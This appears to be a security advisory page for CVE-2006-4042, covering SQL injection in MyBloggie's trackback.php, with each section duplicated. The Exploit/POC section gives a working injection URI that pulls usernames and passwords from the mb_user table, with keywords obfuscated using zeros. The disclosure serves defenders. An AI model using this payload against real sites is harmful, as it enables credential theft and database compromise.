MyBloggie Trackback.PHP Multiple SQL Injection Vulnerabilities
BID:19362
CVE-2006-4042 |Info
MyBloggie Trackback.PHP Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 19362 |
| Class: | Input Validation Error |
| CVE: |
CVE-2006-4042 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 05 2006 12:00AM |
| Updated: | Sep 06 2007 05:51PM |
| Credit: | rgod has been credited with the discovery of these vulnerabilities. |
| Vulnerable: |
myBloggie myBloggie 2.1.6 myBloggie myBloggie 2.1.5 myBloggie myBloggie 2.1.4 myBloggie myBloggie 2.1.3 Beta myBloggie myBloggie 2.1.3 myBloggie myBloggie 2.1.2 myBloggie myBloggie 2.1.1 |
| Not Vulnerable: | |
Discussion
MyBloggie Trackback.PHP Multiple SQL Injection Vulnerabilities
MyBloggie is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
Exploiting these vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks.
A successful attack could allow attackers to compromise the software, access or modify data, or exploit vulnerabilities in the underlying database.
MyBloggie 2.1.6 and prior versions are vulnerable.
MyBloggie is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
Exploiting these vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks.
A successful attack could allow attackers to compromise the software, access or modify data, or exploit vulnerabilities in the underlying database.
MyBloggie 2.1.6 and prior versions are vulnerable.
Exploit / POC
MyBloggie Trackback.PHP Multiple SQL Injection Vulnerabilities
Attackers can exploit these issues via a browser.
The following proof-of-concept URI and exploit code have been provided:
http://www.example.com//trackback.php?tb_id=2&title=%2527,+comments=(SELECT+C0NCAT(user,CHAR(58),password)+FR0M+mb_user)/*&url=http://jmp-esp.kicks-ass.net&excerpt=pwnz
Attackers can exploit these issues via a browser.
The following proof-of-concept URI and exploit code have been provided:
http://www.example.com//trackback.php?tb_id=2&title=%2527,+comments=(SELECT+C0NCAT(user,CHAR(58),password)+FR0M+mb_user)/*&url=http://jmp-esp.kicks-ass.net&excerpt=pwnz
Solution / Fix
MyBloggie Trackback.PHP Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].
References
MyBloggie Trackback.PHP Multiple SQL Injection Vulnerabilities
References:
References: